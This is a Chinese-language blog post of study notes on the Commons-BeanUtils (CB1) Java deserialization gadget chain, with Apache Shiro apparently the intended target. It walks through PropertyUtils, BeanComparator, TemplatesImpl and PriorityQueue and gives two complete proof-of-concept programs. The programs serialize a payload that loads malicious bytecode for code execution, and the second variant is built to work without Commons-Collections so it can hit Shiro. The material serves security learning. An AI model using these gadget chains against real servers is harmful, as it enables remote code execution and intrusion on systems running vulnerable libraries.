本来是在学shiro 的,发现shiro无依赖反序列化需要用CB链,所以就先学一下CB链
前置知识
commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。
依赖
<dependency>
<groupId>commons-beanutils</groupId>
artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
PropertyUtils
org.apache.commons.beanutils.PropertyUtils
类使用 Java 反射 API 来调用 Java 对象上的通用属性 getter 和 setter 操作的实用方法。这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean
来实现的。
这个类有个共有静态方法 getProperty()
,接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值。其实就是用反射的方式调用这个JavaBean里的get方法
//test.java
package org.cb1;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class test {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Object a = PropertyUtils.getProperty(new javabean(), "a");
System.out.println(a);
}
}
//JavaBean
package org.cb1;
public class javabean {
private int a = 22222;
private String b = "aaa";
public int getA() {
return a;
}
public void setA(int a) {
this.a = a;
}
public String getB() {
return b;
}
public void setB(String b) {
this.b = b;
}
}
BeanComparator
BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator 接口。
BeanComparator 在初始化时可以指定 property 属性名称和 comparator 对比器,如果不指定,则默认是 ComparableComparator 。
BeanComparator 的 compare 方法接收两个对象,分别调用 PropertyUtils.getProperty()
方法获取两个对象的 property 属性的值,然后调用 internalCompare()
方法调用实例化时初始化的 comparator 的 compare 方法进行比较。
下个断点调试一下可以看见它最终还是调用了JavaBean里的getxx方法
调用链(有CC依赖
TemplatesImpl类
CB链的反序列化链借助了CC3里提到的TemplatesImpl,通过动态类加载机制来执行恶意代码
回忆一下CC3的TemplatesImpl部分
从newTransformer方法
进入getTransletInstance
getTransletInstance还会有实例化的过程
然后再进入defineTransletClasses方法
在defineTransletClasses里调用了defineClass,实现加载类字节码并且实例化的目的
这就是CC3的利用
接下来让我们看看CB链里的利用
CB包里的调用
之前我们说过,PropertyUtils类的getProperty方法会调用JavaBean里的get方式,去读取相应的属性值
传参方式是PropertyUtils.getProperty(Object bean,String name);
但是在调用的时候,并不会去判断我们传入的这个name属性是否存在,也就导致,我们可以利用这个方法去调用任意的以get开头的公共方法
巧的是TemplateImpl类里正好有一个这样的类,公共的、以get开头,而且还调用了newTransformer(),(巧了这不是
所以通过这个可以直接进CC3的链
然后要去找哪里调用了getProperty方法
这里是BeanComparator里的compare方法
很简单的逻辑,property可以在初始化的时候赋值
反序列化的实现
这里又要涉及CC2的内容了
在CC2里,我们为了调用TransformingComparator的transform方法,从而调用TransformingComparator.transform方法找到了一条
在PriorityQueue类的siftDownUsingComparator方法调用compare的路线
虽然siftDownUsingComparator是私有的,但是在PriorityQueue类的readObject方法里调了heapify方法,heapify方法又调了siftDown,然后在siftDown里实现了对siftDownUsingComparator的调用
这条链在CB链里同样适用
唯一的问题就是在queue的赋值上
在CC2的时候,由于我们通过compare调用的是chainedTransformer,所以无论它的transform方法的参数输出的是什么,得到的都是我们设置的固定值,因此即使compare的两个参数都是空,也不会影响结果
而在CB链里,我们需要对compare的参数赋值,
从这里看出来o1和o2的值分别为x和c,
往前翻就能发现x的值就是heapify调siftDown的时候传的第二个参数
而c是在siftDownUsingComparator运算得到的
但其实根本上都是queue这个数组里边的内容
由于我们通过反射固定了size的值为2,所以这时候queue[i]其实就是queue[0]
queue[child]就是queue[1]
所以用反射赋值就行了
Field queue = objects.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(objects,new Object[]{templates,1});
另外,这里也有另一种赋值方式
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = tmpl;
//数组类型的值,通过反射的get方式得到的是一个引用类型的值,因此修改这个引用类型的值,也就相当于直接修改这个数组变量的值
这里只让一个值为TemplatesImpl对象实例的原因一是执行命令执行一次就够了,不过更主要的就是执行完命令后compare会抛出异常被catch捕捉,也执行不了第二个命令了。
问:既然只执行一次命令,那queue这个对象数组只赋值一个行不行
答:不行,因为假设queue这个只有一个值,那么在序列化的时候就会抛出数组越界的异常
poc为
public class test {
public static <T> void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123");
// _class赋值为null
Field classField = templates.getClass().getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates,null);
//加载恶意类的字节码
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
//转为二维数组
byte[][] codes = {code};
bytecodes.set(templates,codes);
//_tfactory赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// Object transletInstance = PropertyUtils.getProperty(templates, "outputProperties");
BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties");
PriorityQueue<Object> objects = new PriorityQueue<>(objectBeanComparator);
Field size = objects.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(objects,2);
Field queue = objects.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(objects,new Object[]{templates,1});
file.serialize(objects,"1.bin");
file.unserialize("1.bin");
}
}
总结
调用链
PriorityQueue.readObject()
BeanComparator.compare()
PropertyUtils.getProperty()
PropertyUtilsBean.getProperty()
TemplatesImpl.getOutputProperties()
依赖环境
cc 3.21 ~ 4.4
cb 1.90 ~ 1.94
其他版本没试
调用链(无依赖
前言
刚才的调用链,虽然很完美,但实际上还是依赖了CC链
这里就算把maven项目里的cc依赖去掉也不会报错的原因是因为cb本身就依赖着cc
但是在最开始的时候,我就提过本来是在学shiro 的,发现shiro无依赖反序列化需要用CB链,所以就先学一下CB链
因为shiro本身需要添加的依赖有
- shiro-core、shiro-web,这是shiro本身的依赖
- javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
- slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
- commons-logging,这是shiro中用到的一个接口,不添加会爆
java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory
错误
可以看到并没有CC依赖,所以,我们在进行shiro反序列化的时候就需要考虑不存在CC依赖的情况
这时候可以发现在shiro的依赖中,还带着CB,所以我们就可以尝试用CB链去打shiro反序列化
但实际上,直接打是会报错的。
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
所以我们就需要找一个不需要依赖CC的CB链
完善
我们先来看一下CB链中的哪一部分调用了CC的内容
就是BeanComparator里的这个构造方法,当我们只传入一个property的时候,就会默认调用CC中ComparableComparator类的getInstance方法
所以要实现无依赖,就需要避免使用这个构造方法,但是property是必传的,所以只能用这个构造方法了
我们需要找一个类,满足以下条件
- 实现
java.util.Comparator
接口 - 实现
java.io.Serializable
接口 - Java、shiro或commons-beanutils自带,且兼容性强
这里我们找到的是处于java.lang.String
类下的一个内部私有类CaseInsensitiveComparator类
所以现在的poc是
public class test {
public static <T> void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123");
// _class赋值为null
Field classField = templates.getClass().getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates,null);
//加载恶意类的字节码
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
//转为二维数组
byte[][] codes = {code};
bytecodes.set(templates,codes);
//_tfactory赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// Object transletInstance = PropertyUtils.getProperty(templates, "outputProperties");
BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties",String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> objects = new PriorityQueue<>(objectBeanComparator);
Field size = objects.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(objects,2);
Field queue = objects.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(objects,new Object[]{templates,1});
file.serialize(objects,"1.bin");
file.unserialize("1.bin");
}
}